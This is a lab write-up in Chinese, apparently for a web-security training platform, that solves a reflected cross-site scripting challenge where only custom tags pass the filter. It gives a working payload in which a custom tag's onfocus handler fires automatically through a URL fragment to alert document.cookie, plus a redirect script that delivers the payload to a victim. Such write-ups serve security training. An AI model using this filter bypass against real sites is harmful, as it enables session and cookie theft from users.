# Cross-site scripting Lab15 本題是在只允許自定義 tag 的情況下,如何設計能自動執行的 XSS payload。 做前須知目標: - 所有標準 HTML tag(像是 `<script>`、`<img>`)都被擋。 - 唯獨 「非標準、自定義 tag」 不會被擋,例如 `<xss>`。 - XSS payload 需要自動觸發(無需點擊、滑鼠、手動操作)。 - 要注入能自動觸發 alert(document.cookie) 的程式碼。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/HJ94Ulmrel.png) 我們注入一個自定義 HTML tag: ``` <xss id=x onfocus=alert(document.cookie) tabindex=1> ``` 這個 tag 有個 onfocus 事件,當它被 focus 時會執行 alert(),加上 `tabindex=1` 是讓這個元素可以被 focus 到。 URL 最後加上 #x 是告訴瀏覽器自動跳轉到 ID 為 x 的元素,進而觸發 onfocus。 ``` https://0a5b00a1034b67208024854b00640036.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29+tabindex%3D1%3E#x ``` - `%3C` = < - `%3E` = > - `+` = 空格 - `%28` = ( - `%29` = ) ``` <script> location = 'https://0a5b00a1034b67208024854b00640036.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29+tabindex%3D1%3E#x'; </script> ``` ![image](https://hackmd.io/_uploads/r1LCIg7rge.png) ![image](https://hackmd.io/_uploads/ryQkDxQSee.png) ---